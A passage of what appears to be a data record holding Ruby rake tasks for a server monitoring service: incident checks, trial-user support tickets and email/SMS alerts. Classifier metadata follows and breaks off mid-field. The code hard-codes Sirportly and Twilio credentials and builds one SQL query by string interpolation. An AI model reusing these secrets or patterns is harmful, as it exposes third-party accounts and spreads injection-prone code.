Incident.destroy_all(['created_at <= ? and open = ?', 1.days.ago.beginning_of_day, false])\nend\n\ndesc \"This task is called by the Heroku scheduler add-on\" \ntask :send_usage_statistics => :environment do \n FlyingV.post(Date.today.strftime(\"SMHQ-Signups-%B-%Y\"), User.where('created_at >= ?', Date.today.at_beginning_of_month).count.to_s)\n FlyingV.post(Date.today.strftime(\"SMHQ-Servers-Commissioned-%B-%Y\"), Server.where('created_at >= ? and uptime is not NULL', Date.today.at_beginning_of_month).count.to_s)\nend\n\ndesc \"This task is called by the Heroku scheduler add-on\" \ntask :registered_7_days => :environment do \n accounts = Account.where('created_at >= ? and created_at <= ?', 7.days.ago.beginning_of_day, 7.days.ago.end_of_day)\n sirportly = Sirportly::Client.new('5040678f-a2bb-119c-150b-649cc531c2f9', \n 'g9j701xoohucklcabhyb2klaulkmkri5yjlkutwfkz3s9cwc12')\n accounts.each { |account|\n user = account.users.find(:first)\n\n if user == nil then\n next\n end\n\n properties = { \n :brand => 'ServerMonitoringHQ.com', \n :department => 'Technical Support', \n :status => 'New', \n :priority => 'Normal', \n :subject => 'ServerMonitoringHQ.com', \n :user => 'ianpurton',\n :name => user.first_name + ' ' + user.last_name, \n :email => user.email\n }\n ticket = sirportly.create_ticket(properties)\n ticket.post_update(:message => 'User has been on trial for 7 days.')\n }\nend\n\ndesc \"This task is called by the Heroku scheduler add-on\" \ntask :free_trial_end => :environment do \n accounts = Account.where('trial_end >= ? and trial_end <= ?', \n (Time.now + 3.days).beginning_of_day, (Time.now + 3.days).end_of_day)\n sirportly = Sirportly::Client.new('5040678f-a2bb-119c-150b-649cc531c2f9', \n 'g9j701xoohucklcabhyb2klaulkmkri5yjlkutwfkz3s9cwc12')\n accounts.each { |account|\n puts \"Account \" + account.id.to_s\n user = account.users.find(:first)\n\n if user == nil then\n next\n end\n\n properties = { \n :brand => 'ServerMonitoringHQ.com', \n :department => 'Technical Support', \n :status => 'New', \n :priority => 'Normal', \n :subject => 'ServerMonitoringHQ.com', \n :user => 'ianpurton',\n :name => user.first_name + ' ' + user.last_name, \n :email => user.email\n }\n ticket = sirportly.create_ticket(properties)\n ticket.post_update(:message => 'Trial ends in 3 days.')\n }\n users = User.where('created_at >= ?and created_at <= ?', 7.days.ago.beginning_of_day, 7.days.ago.end_of_day)\n puts users\nend\n\ndesc \"This task is called by the Heroku scheduler add-on\" \ntask :run_monitor_cron => :environment do\n @servers = Server.active\n @servers.sort_by {rand} # Randomize the array, give everyone a fair chnace\n\n @servers.each do |server|\n\n # If the server hasn't been updated in a while it's probably down.\n if server.updated_at < 1.minute.ago\n\n server.serverdown = true\n if server.down_mins == nil\n server.down_mins = 0\n end\n server.down_mins = server.down_mins + 1\n ActiveRecord::Base.record_timestamps = false\n server.save(:validate=> false)\n ActiveRecord::Base.record_timestamps = true\n end\n\n server.monitor_servers.each do |sm|\n next if !sm.server.totalmem || sm.measure.paused\n if sm.measure.notify_heartbeat?\n check_heartbeat(sm, 'Not heard from agent for a while.')\n end\n end\n end\nend\n\n\ndef check_ports(sm)\n\n info = {}\n info[:name] = sm.server.name\n\n down_pages = sm.server.ports.where(:status => 0)\n\n info[:ports] = down_pages.length\n\n if down_pages.length > 0\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::PORT_ERROR,\n \"At least one port is down\")\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::PORT_ERROR)\n end\n\n return info\nend\n\ndef check_pages(sm)\n\n info = {}\n info[:name] = sm.server.name\n\n down_pages = sm.server.pages.where(:status => 0)\n\n info[:pages] = down_pages.length\n\n if down_pages.length > 0\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::PAGE_ERROR,\n \"At least one page is down\")\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::PAGE_ERROR)\n end\n\n return info\nend\n\ndef check_heartbeat(sm, msg)\n\n if sm.server.serverdown\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::SERVER_DOWN,\n 'The server is not responding : ' + msg)\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::SERVER_DOWN)\n end\nend\n\ndef check_bandwidth(sm)\n\n total = sm.measure.bandwidth\n if total == nil\n return\n end\n \n case\n when sm.measure.bandwidth_scale == 'MB'\n total = total * 1048576\n when sm.measure.bandwidth_scale == 'GB'\n total = total * 1048576 * 1024\n when sm.measure.bandwidth_scale == 'TB'\n total = total * 1048576 * 1024 * 1024\n end\n \n time = '24HR'\n case\n when sm.measure.bandwidth_time == '1 Week'\n time = 'WEEK'\n when sm.measure.bandwidth_time == '1 Month'\n time = 'MONTH'\n end\n\n used = sm.server.histories.sum(:bandwidth_tx, :conditions => ['name = ?', time])\n\n if used > total\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::HIGH_BANDWIDTH,\n bandwidth_desc(used, total))\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::HIGH_BANDWIDTH)\n end\n\nend\n\ndef check_load(sm)\n\n info = {}\n info[:name] = sm.server.name\n\n perc_load = (sm.server.cpuload / 1.0) * 100\n info[:load_calc] = perc_load\n info[:load_perc] = sm.measure.load_perc\n\n if perc_load > sm.measure.load_perc\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::HIGH_LOAD,\n load_desc(perc_load, sm.measure.load_perc))\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::HIGH_LOAD)\n end\n\n return info\nend\n\ndef check_drives(sm)\n\n info = {}\n info[:name] = sm.server.name\n\n drive_full = false\n sm.server.disks.each do |drive|\n drive_full = true if drive.percent.to_i > sm.measure.disk_perc\n end\n\n if drive_full\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::DISK_LIMIT,\n disk_desc(sm.measure.disk_perc))\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::DISK_LIMIT)\n end\n\n return info\nend\n\ndef check_memory(sm)\n\n info = {}\n info[:name] = sm.server.name\n\n perc_mem = (sm.server.usedmem / sm.server.totalmem) * 100\n info[:mem_calc] = perc_mem\n info[:mem_perc] = sm.measure.mem_perc\n\n if perc_mem > sm.measure.mem_perc\n raise_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::HIGH_MEMORY,\n memory_desc(sm.server.usedmem, sm.server.totalmem,\n perc_mem, sm.measure.mem_perc))\n else\n clear_incident(sm.server.account_id, sm.server.id,\n sm.measure.id, Incident::HIGH_MEMORY)\n end\n\n return info\nend\n\ndef memory_desc(usedmem, totalmem, perc, threshold)\n p = \"%.1f\" % perc\n\n return \"Memory is at \" + p + \"% this is greater than\" +\n \" monitor threshold of #{threshold}%\"\nend\n\ndef disk_desc(threshold)\n\n return \"At least 1 disk is using more than #{threshold}% of space.\"\nend\n\ndef bandwidth_desc(total, threshold)\n return \"Bandwidth usage is at #{total} which is greater than #{threshold}\"\nend\n\ndef load_desc(perc, threshold)\n p = \"%.1f\" % perc\n\n return \"Load is at \" + p + \"% this is greater than\" +\n \" monitor threshold of #{threshold}%\"\nend\n\ndef raise_incident(account_id, server_id, measure_id, type, desc)\n\n incident = Incident.where(\n 'account_id = ? AND server_id = ? AND measure_id = ? AND incident_type = ? AND open = ?',\n account_id, server_id, measure_id, type, true).first\n\n unless incident\n incident = Incident.new\n incident.incident_type = type\n incident.account_id = account_id\n incident.description = desc\n incident.server_id = server_id\n incident.measure_id = measure_id\n incident.open = true\n incident.save\n end\nend\n\ndef clear_incident(account_id, server_id, measure_id, type)\n\n incident = Incident.where(\n 'account_id = ? AND server_id = ? AND measure_id = ? AND incident_type = ? AND open = ?',\n account_id, server_id, measure_id, type, true).first\n\n if incident\n incident.open = false\n incident.save\n end\nend\n\n\ndef update_history(server, name, slot, mem, swap, tx, rx, cpu, downtime)\n\n history = server.histories.where(\"name = '#{name}' AND slot = #{slot}\").first\n\n if history == nil\n history = server.histories.new\n history.name = name\n history.slot = slot\n else\n check_for_reset(name, history)\n end\n\n if history.down_mins == nil\n history.down_mins = 0\n end\n history.down_mins = history.down_mins + downtime\n\n history.cpu_total = history.cpu_total + cpu.to_i\n history.cpu_lo = cpu if history.cpu_lo > cpu or history.cpu_lo == 0\n history.cpu_hi = cpu unless history.cpu_hi > cpu\n history.cpu_count = history.cpu_count + 1\n\n history.mem_lo = mem.to_f if history.mem_lo > mem.to_f or history.mem_lo == 0\n history.mem_hi = mem unless history.mem_hi > mem\n history.mem_total = history.mem_total + mem\n history.mem_count = history.mem_count + 1\n\n history.swap_lo = swap if history.swap_lo > swap or history.swap_lo == 0\n history.swap_hi = swap unless history.swap_hi > swap\n history.swap_total = history.swap_total + swap\n history.swap_count = history.swap_count + 1\n\n history.bandwidth_tx = history.bandwidth_tx + tx.to_i\n history.bandwidth_rx = history.bandwidth_rx + rx.to_i\n\n history.save\nend\n\ndef check_for_reset(name, history)\n\n if name == '24HR' and history.updated_at > 1.hour.ago\n return\n end\n\n if name == 'WEEK' and history.updated_at > 1.day.ago\n return\n end\n\n if name == 'MONTH' and history.updated_at > 1.week.ago\n return\n end\n\n history.mem_lo = 0\n history.mem_hi = 0\n history.mem_total = 0\n history.mem_count = 0\n\n history.swap_lo = 0\n history.swap_hi = 0\n history.swap_total = 0\n history.swap_count = 0\n\n history.cpu_lo = 0\n history.cpu_hi = 0\n history.cpu_total = 0\n history.cpu_count = 0\n\n history.bandwidth_tx = 0\n history.bandwidth_rx = 0\nend\n\ndesc \"This task is called by the Heroku scheduler add-on\" \ntask :run_notification_cron => :environment do\n MonitorUser.active.each do |um|\n process_new_incidents(um)\n process_resolved_incidents(um)\n end\nend\n\ndef send_text(to, message)\n\n account_sid = 'AC1d6be5fe338cad384648a39aa2354f0f'\n auth_token = 'bf0'\n\n client = Twilio::REST::Client.new account_sid, auth_token\n\n client.account.sms.messages.create(\n :from => '+19546211201',\n :to => to,\n :body => message\n )\n\nend\n\ndef process_resolved_incidents(um)\n\n # Find all resolved incidents less than 48 hours old\n incidents = Incident.where(\n 'measure_id = ? AND open = ? AND updated_at > ?',\n um.measure_id, false, 48.hours.ago)\n\n resolved_incidents = []\n incidents.each do |incident|\n incident_notification = IncidentNotification.where(\n 'incident_id = ? AND user_monitor_id = ?',\n incident.id, um.id).first\n\n # Do we have a notification for this incident ?\n if incident_notification != nil\n incident_notification.destroy\n resolved_incidents << incident\n end\n end\n\n # If we have new incidents send an email\n if resolved_incidents.length > 0\n if um.notify_type == 0 or um.notify_type == 2\n NotificationMailer.alert_service_restored(um, resolved_incidents).deliver\n end\n if um.notify_type == 1 or um.notify_type == 2\n msg = \"ServerMonitoringHQ.com #{resolved_incidents.length} new incident(s) resolved\"\n resolved_incidents.each { |incident|\n msg += \"\\n#{incident.server.name} (#{incident.description}) - Resolved\"\n }\n send_text(um.user.mobile_number, msg)\n end\n end\nend\n\ndef process_new_incidents(um)\n\n # Find all open incidents for the user older than the users wait_for\n incidents = Incident.where(\n 'measure_id = ? AND open = ? AND created_at < ?',\n um.measure_id, true, um.wait_for.minutes.ago)\n\n new_incidents = []\n incidents.each do |incident|\n incident_notification = IncidentNotification.where(\n 'incident_id = ? AND user_monitor_id = ?',\n incident.id, um.id).first\n\n # Do we already have a notification for this incident ?\n if incident_notification == nil\n inot = IncidentNotification.new\n inot.incident_id = incident.id\n inot.user_monitor_id = um.id\n inot.save\n new_incidents << incident\n end\n end\n # If we have new incidents send an email\n if new_incidents.length > 0\n if um.notify_type == 0 or um.notify_type == 2\n NotificationMailer.alert_service_down(um, new_incidents).deliver\n end\n if um.notify_type == 1 or um.notify_type == 2\n msg = \"ServerMonitoringHQ.com #{new_incidents.length} new incident(s)\"\n new_incidents.each { |incident|\n msg += \"\\n#{incident.server.name} - #{incident.description}\"\n }\n send_text(um.user.mobile_number, msg)\n end\n end\nend\n", "text_preview": "desc \"This task is called by the Heroku scheduler add-on\" task :remove_resolved_incidents => :environment do Incident.destroy_all(['created_at <= ? and open = ?', 1.days.ago.beginning_of_day, false]) end desc \"This task is called by the Her", "input_sha256": "e5679f50e625ec77233bb57966e0f6a19d42082023853b83e202e29c1923d1ca", "text_sha256": "8c42fa05b289353a564d741a672ab5d3b0817be00463bab811cff272755699f7", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16066, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.229155411023375, "noise_severity": 0.13636564247538083, "missing_content_severity": 0.06809271964102184, "factual_density": 3.1961211349418055, "pretraining_utility": 0.2979350121603251, "math_density": 0.7538720535778053, "code_density": 3.789894881774363, "reasoning_density": 0.7493115000736487, "education_level": 2.4781881192240443, "creative_writing_quality": -0.3769878866134104}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.00518348016345993, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9938880335172419, "secondary": 0.9795340320304067, "tertiary": 0.9741251831641877, "structured_records": 0.07002889736903954, "procedural_steps": 0.009793212160236583, "worked_solution": 0.001075431092077154, "contextual_dialogue": 5.4034806821943365e-06, "content_quality": 0.35585371868929916, "noise_severity": 0.8863619646038493, "missing_content_severity": 0.9432560669658151, "factual_density": 0.33010094578483806, "pretraining_utility": 0.40427457429499136, "math_density": 0.37177328868516235, "code_density": 0.8249124014786355, "reasoning_density": 0.37557374993862613, "education_level": 0.44698161458778163, "creative_writing_quality": 0.9991019341671148, "primary_topic": 0.9908867752784546, "secondary_topic": 0.9210000115149276}, "probability_margin": {"primary": 0.9907076562522866, "secondary": 0.96991226004882, "tertiary": 0.9639937029648622, "education_level": 0.1199336547317763, "creative_writing_quality": 0.9989789505061089, "primary_topic": 0.9876257192929327, "secondary_topic": 0.901561531666962}, "raw_probabilities": {"primary": {"Academic Writing": 4.177558683540596e-05, "Content Listing": 3.802522645570945e-05, "Creative Writing": 3.130225749678381e-05, "Customer Support Page": 2.3473077934416286e-05, "Q&A Forum": 2.0606067491564264e-05, "Discussion Thread": 1.3264717925564789e-05, "Comment Section": 2.2168488256500184e-05, "Missing Content": 4.85535572053844e-05, "Knowledge Article": 0.00012952987482697472, "Legal Notices": 5.8684795183199603e-05, "News Article": 8.587462435840459e-06, "Organizational Announcement": 2.5405561452498512e-05, "Nonfiction Writing": 1.9475386087634454e-05, "Organizational About Page": 2.488129938989267e-05, "Personal About Page": 1.8589951068853e-05, "Personal Blog": 1.5816473937334564e-05, "Product Page": 1.812890429634295e-05, "Spam / Ads": 3.471614632779124e-05, "Structured Data": 0.001145174140513933, "Technical Writing": 0.9941426987873568, "Transcript / Interview": 2.4716176263109064e-05, "Tutorial / How-To Guide": 0.0006483835735839572, "User Reviews": 1.0999952604112612e-05, "Other / Unknown": 0.003435042535070241}, "secondary": {"Academic Writing": 0.00014731515515109924, "Content Listing": 0.00016772134678690395, "Creative Writing": 0.0001485157371314454, "Customer Support Page": 0.0002346731672666179, "Q&A Forum": 6.50010651695201e-05, "Discussion Thread": 4.685873515447322e-05, "Comment Section": 0.0002022375479671222, "Missing Content": 0.00041630486325065156, "Knowledge Article": 0.0005185535542582174, "Legal Notices": 0.00029859541101903106, "News Article": 7.171981408431749e-05, "Organizational Announcement": 0.00010865752247527786, "Nonfiction Writing": 6.606912049345623e-05, "Organizational About Page": 0.00011046566525945311, "Personal About Page": 6.832424019300747e-05, "Personal Blog": 7.637574832787963e-05, "Product Page": 6.30331947586065e-05, "Spam / Ads": 0.0008973899023376135, "Structured Data": 0.002886108203916592, "Technical Writing": 0.01047452064698638, "Transcript / Interview": 9.376386808415422e-05, "Tutorial / How-To Guide": 0.002408762867676434, "User Reviews": 4.2251926445166865e-05, "NONE": 0.9803867806958064}, "tertiary": {"Academic Writing": 0.00016556435992072705, "Content Listing": 0.00023333058253604522, "Creative Writing": 0.0002462850331650882, "Customer Support Page": 0.0010808153959447127, "Q&A Forum": 7.98403094235192e-05, "Discussion Thread": 5.898064006266005e-05, "Comment Section": 0.000707909795012107, "Missing Content": 0.000536997456994894, "Knowledge Article": 0.0008176310081622306, "Legal Notices": 0.0008112101288314047, "News Article": 0.00010060706932916747, "Organizational Announcement": 0.00019440034275237865, "Nonfiction Writing": 0.000126350899186644, "Organizational About Page": 0.00019057804042475697, "Personal About Page": 8.759582005090334e-05, "Personal Blog": 9.45667277147836e-05, "Product Page": 0.00010966381144171682, "Spam / Ads": 0.00278569498436073, "Structured Data": 0.00282656417592012, "Technical Writing": 0.011209597567484374, "Transcript / Interview": 0.00012196581018977137, "Tutorial / How-To Guide": 0.0021580241361037734, "User Reviews": 5.252537264095499e-05, "NONE": 0.9752033005323466}, "structured_records": {"false": 0.9299711026309605, "true": 0.07002889736903954}, "procedural_steps": {"false": 0.9902067878397635, "true": 0.009793212160236583}, "worked_solution": {"false": 0.9989245689079228, "true": 0.001075431092077154}, "contextual_dialogue": {"false": 0.9999945965193178, "true": 5.4034806821943365e-06}, "content_quality": {"-2": 0.028925112553996154, "-1": 0.2140598381667407, "0": 0.34788378150358595, "1": 0.3171970612532464, "2": 0.0919342065224308}, "noise_severity": {"0": 0.8850678950311582, "1": 0.09788053113737871, "2": 0.013877765086460542, "3": 0.001965653814928944, "4": 0.0012081549300735502}, "missing_content_severity": {"0": 0.9483790898861659, "1": 0.03957628771662914, "2": 0.008360775842733691, "3": 0.0029405059789589117, "4": 0.0007433405755121446}, "factual_density": {"0": 0.006435064311887967, "1": 0.019811528526694565, "2": 0.16066227378008333, "3": 0.39737947467039214, "4": 0.415711658710942}, "pretraining_utility": {"-2": 0.021643481331643538, "-1": 0.16518078667955555, "0": 0.3796852592684848, "1": 0.3605781839374649, "2": 0.07291228878285143}, "math_density": {"0": 0.47613749973658875, "1": 0.36580088742824196, "2": 0.11367344450779841, "3": 0.016828396175516586, "4": 0.02755977215185417}, "code_density": {"0": 0.00046445499760234795, "1": 0.0008469933478228554, "2": 0.020318334189218495, "3": 0.16506964981332234, "4": 0.8133005676520341}, "reasoning_density": {"0": 0.514233958684315, "1": 0.2965471046858493, "2": 0.13533493189323698, "3": 0.03344148734506954, "4": 0.020442517391529184}, "education_level": {"none": 0.0010014660911576163, "0": 0.0012519454698466756, "1": 0.005919891387724464, "2": 0.539151345489818, "3": 0.4192176907580417, "4": 0.033457660803411574}, "creative_writing_quality": {"not_applicable": 0.999251611805929, "-2": 0.0001102371144584885, "-1": 0.00023124966060154923, "0": 0.0002726612998201539, "1": 9.888963251258961e-05, "2": 3.5350486678322254e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.5610762975122654e-05, "Art & Design": 6.782095347933722e-05, "Law & Crime": 0.00021588220358752821, "Education & Careers": 6.0557815004834673e-05, "Entertainment & Media": 3.660105577212001e-05, "Fashion & Beauty": 3.10751644852929e-05, "Business, Economics & Finance": 0.0007277552529070443, "Food & Dining": 3.947598420765618e-05, "Games & Gaming": 8.980653179946796e-05, "Electronics & Hardware": 0.0036115646286582316, "Health, Healthcare & Wellness": 5.593369631158006e-05, "History & Geography": 5.2932773549430444e-05, "Home, Pets & Hobbies": 3.910572045562138e-05, "Industry & Production": 0.0001815001873591201, "Language, Literature & Philosophy": 4.45698686293231e-05, "Politics & Government": 3.591228426343951e-05, "Religion & Spirituality": 4.6444706241681406e-05, "Science, Mathematics & Engineering": 0.0004159917097661394, "Relationships & Community": 3.541149775326081e-05, "Software Usage & Applications": 0.0018856635178719511, "Programming & Software Engineering": 0.9912372839215909, "Sports & Fitness": 7.360017016001672e-05, "Vehicles & Transportation": 3.294545880045667e-05, "Travel & Tourism": 5.7358667733395976e-05, "Other / Uncovered Subject": 0.0007772445033562378, "Unknown / Insufficient Content": 9.195096328111647e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004302512507673653, "Art & Design": 0.0003363491331185933, "Law & Crime": 0.001676321482374147, "Education & Careers": 0.0003083995981803366, "Entertainment & Media": 0.00032267182573167804, "Fashion & Beauty": 0.00019414566165404173, "Business, Economics & Finance": 0.009505670464816552, "Food & Dining": 0.00017571048830419258, "Games & Gaming": 0.00027101300080463984, "Electronics & Hardware": 0.014357391768167317, "Health, Healthcare & Wellness": 0.0002518002511925087, "History & Geography": 0.00019838440200643272, "Home, Pets & Hobbies": 0.00016431970217036012, "Industry & Production": 0.00031483212901961863, "Language, Literature & Philosophy": 0.00013469916540547342, "Politics & Government": 0.00022430055050989012, "Religion & Spirituality": 0.00023045464618413991, "Science, Mathematics & Engineering": 0.0006010315619307276, "Relationships & Community": 0.00014917326712853915, "Software Usage & Applications": 0.02239003763892499, "Programming & Software Engineering": 0.02247694094354536, "Sports & Fitness": 0.0001775638902936315, "Vehicles & Transportation": 9.565014570538166e-05, "Travel & Tourism": 0.00021898159423535893, "Other / Uncovered Subject": 0.0007554328273213338, "NONE": 0.9240384726105073}}, "probabilities": {"primary": {"Academic Writing": 4.1775586835405965e-05, "Content Listing": 3.802522645570946e-05, "Creative Writing": 3.1302257496783816e-05, "Customer Support Page": 2.347307793441629e-05, "Q&A Forum": 2.0606067491564267e-05, "Discussion Thread": 1.326471792556479e-05, "Comment Section": 2.2168488256500188e-05, "Missing Content": 4.8553557205384407e-05, "Knowledge Article": 0.00012952987482697475, "Legal Notices": 5.868479518319961e-05, "News Article": 8.58746243584046e-06, "Organizational Announcement": 2.5405561452498515e-05, "Nonfiction Writing": 1.9475386087634457e-05, "Organizational About Page": 2.4881299389892673e-05, "Personal About Page": 1.8589951068853004e-05, "Personal Blog": 1.5816473937334567e-05, "Product Page": 1.8128904296342953e-05, "Spam / Ads": 3.4716146327791244e-05, "Structured Data": 0.0011451741405139333, "Technical Writing": 0.994142698787357, "Transcript / Interview": 2.4716176263109067e-05, "Tutorial / How-To Guide": 0.0006483835735839573, "User Reviews": 1.0999952604112614e-05, "Other / Unknown": 0.0034350425350702413}, "secondary": {"Academic Writing": 0.00014731515515109927, "Content Listing": 0.00016772134678690398, "Creative Writing": 0.00014851573713144543, "Customer Support Page": 0.00023467316726661792, "Q&A Forum": 6.500106516952011e-05, "Discussion Thread": 4.6858735154473224e-05, "Comment Section": 0.00020223754796712222, "Missing Content": 0.0004163048632506516, "Knowledge Article": 0.0005185535542582175, "Legal Notices": 0.0002985954110190311, "News Article": 7.17198140843175e-05, "Organizational Announcement": 0.00010865752247527787, "Nonfiction Writing": 6.606912049345624e-05, "Organizational About Page": 0.00011046566525945312, "Personal About Page": 6.832424019300748e-05, "Personal Blog": 7.637574832787964e-05, "Product Page": 6.303319475860652e-05, "Spam / Ads": 0.0008973899023376137, "Structured Data": 0.0028861082039165925, "Technical Writing": 0.010474520646986382, "Transcript / Interview": 9.376386808415423e-05, "Tutorial / How-To Guide": 0.0024087628676764342, "User Reviews": 4.225192644516687e-05, "NONE": 0.9803867806958065}, "tertiary": {"Academic Writing": 0.00016556435992072705, "Content Listing": 0.00023333058253604522, "Creative Writing": 0.0002462850331650882, "Customer Support Page": 0.0010808153959447127, "Q&A Forum": 7.98403094235192e-05, "Discussion Thread": 5.898064006266005e-05, "Comment Section": 0.000707909795012107, "Missing Content": 0.000536997456994894, "Knowledge Article": 0.0008176310081622306, "Legal Notices": 0.0008112101288314047, "News Article": 0.00010060706932916747, "Organizational Announcement": 0.00019440034275237865, "Nonfiction Writing": 0.000126350899186644, "Organizational About Page": 0.00019057804042475697, "Personal About Page": 8.759582005090334e-05, "Personal Blog": 9.45667277147836e-05, "Product Page": 0.00010966381144171682, "Spam / Ads": 0.00278569498436073, "Structured Data": 0.00282656417592012, "Technical Writing": 0.011209597567484374, "Transcript / Interview": 0.00012196581018977137, "Tutorial / How-To Guide": 0.0021580241361037734, "User Reviews": 5.252537264095499e-05, "NONE": 0.9752033005323466}, "structured_records": {"false": 0.9299711026309605, "true": 0.07002889736903954}, "procedural_steps": {"false": 0.9902067878397635, "true": 0.009793212160236583}, "worked_solution": {"false": 0.9989245689079228, "true": 0.001075431092077154}, "contextual_dialogue": {"false": 0.9999945965193178, "true": 5.4034806821943365e-06}, "content_quality": {"-2": 0.028925112553996154, "-1": 0.2140598381667407, "0": 0.34788378150358595, "1": 0.3171970612532464, "2": 0.0919342065224308}, "noise_severity": {"0": 0.8850678950311582, "1": 0.09788053113737871, "2": 0.013877765086460542, "3": 0.001965653814928944, "4": 0.0012081549300735502}, "missing_content_severity": {"0": 0.9483790898861661, "1": 0.03957628771662915, "2": 0.008360775842733693, "3": 0.0029405059789589126, "4": 0.0007433405755121448}, "factual_density": {"0": 0.006435064311887967, "1": 0.019811528526694565, "2": 0.16066227378008333, "3": 0.39737947467039214, "4": 0.415711658710942}, "pretraining_utility": {"-2": 0.021643481331643535, "-1": 0.16518078667955552, "0": 0.3796852592684847, "1": 0.3605781839374648, "2": 0.07291228878285141}, "math_density": {"0": 0.4761374997365888, "1": 0.365800887428242, "2": 0.11367344450779843, "3": 0.01682839617551659, "4": 0.027559772151854175}, "code_density": {"0": 0.00046445499760234795, "1": 0.0008469933478228554, "2": 0.020318334189218495, "3": 0.16506964981332234, "4": 0.8133005676520341}, "reasoning_density": {"0": 0.514233958684315, "1": 0.2965471046858493, "2": 0.13533493189323698, "3": 0.03344148734506954, "4": 0.020442517391529184}, "education_level": {"none": 0.0010014660911576163, "0": 0.0012519454698466756, "1": 0.005919891387724464, "2": 0.539151345489818, "3": 0.4192176907580417, "4": 0.033457660803411574}, "creative_writing_quality": {"not_applicable": 0.9992516118059288, "-2": 0.00011023711445848847, "-1": 0.00023124966060154918, "0": 0.00027266129982015384, "1": 9.888963251258958e-05, "2": 3.535048667832225e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.561076297512263e-05, "Art & Design": 6.782095347933719e-05, "Law & Crime": 0.0002158822035875281, "Education & Careers": 6.0557815004834646e-05, "Entertainment & Media": 3.660105577212e-05, "Fashion & Beauty": 3.107516448529289e-05, "Business, Economics & Finance": 0.000727755252907044, "Food & Dining": 3.947598420765616e-05, "Games & Gaming": 8.980653179946792e-05, "Electronics & Hardware": 0.00361156462865823, "Health, Healthcare & Wellness": 5.593369631158003e-05, "History & Geography": 5.2932773549430424e-05, "Home, Pets & Hobbies": 3.910572045562136e-05, "Industry & Production": 0.00018150018735912002, "Language, Literature & Philosophy": 4.456986862932308e-05, "Politics & Government": 3.59122842634395e-05, "Religion & Spirituality": 4.6444706241681386e-05, "Science, Mathematics & Engineering": 0.00041599170976613925, "Relationships & Community": 3.54114977532608e-05, "Software Usage & Applications": 0.0018856635178719503, "Programming & Software Engineering": 0.9912372839215905, "Sports & Fitness": 7.360017016001669e-05, "Vehicles & Transportation": 3.2945458800456655e-05, "Travel & Tourism": 5.735866773339595e-05, "Other / Uncovered Subject": 0.0007772445033562375, "Unknown / Insufficient Content": 9.195096328111642e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00043025125076736535, "Art & Design": 0.00033634913311859335, "Law & Crime": 0.0016763214823741473, "Education & Careers": 0.00030839959818033664, "Entertainment & Media": 0.0003226718257316781, "Fashion & Beauty": 0.00019414566165404176, "Business, Economics & Finance": 0.009505670464816554, "Food & Dining": 0.0001757104883041926, "Games & Gaming": 0.0002710130008046399, "Electronics & Hardware": 0.014357391768167319, "Health, Healthcare & Wellness": 0.00025180025119250874, "History & Geography": 0.00019838440200643274, "Home, Pets & Hobbies": 0.00016431970217036014, "Industry & Production": 0.0003148321290196187, "Language, Literature & Philosophy": 0.00013469916540547345, "Politics & Government": 0.00022430055050989015, "Religion & Spirituality": 0.00023045464618413994, "Science, Mathematics & Engineering": 0.0006010315619307277, "Relationships & Community": 0.00014917326712853918, "Software Usage & Applications": 0.022390037638924994, "Programming & Software Engineering": 0.022476940943545364, "Sports & Fitness": 0.00017756389029363154, "Vehicles & Transportation": 9.565014570538167e-05, "Travel & Tourism": 0.00021898159423535895, "Other / Uncovered Subject": 0.0007554328273213339, "NONE": 0.9240384726105074}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 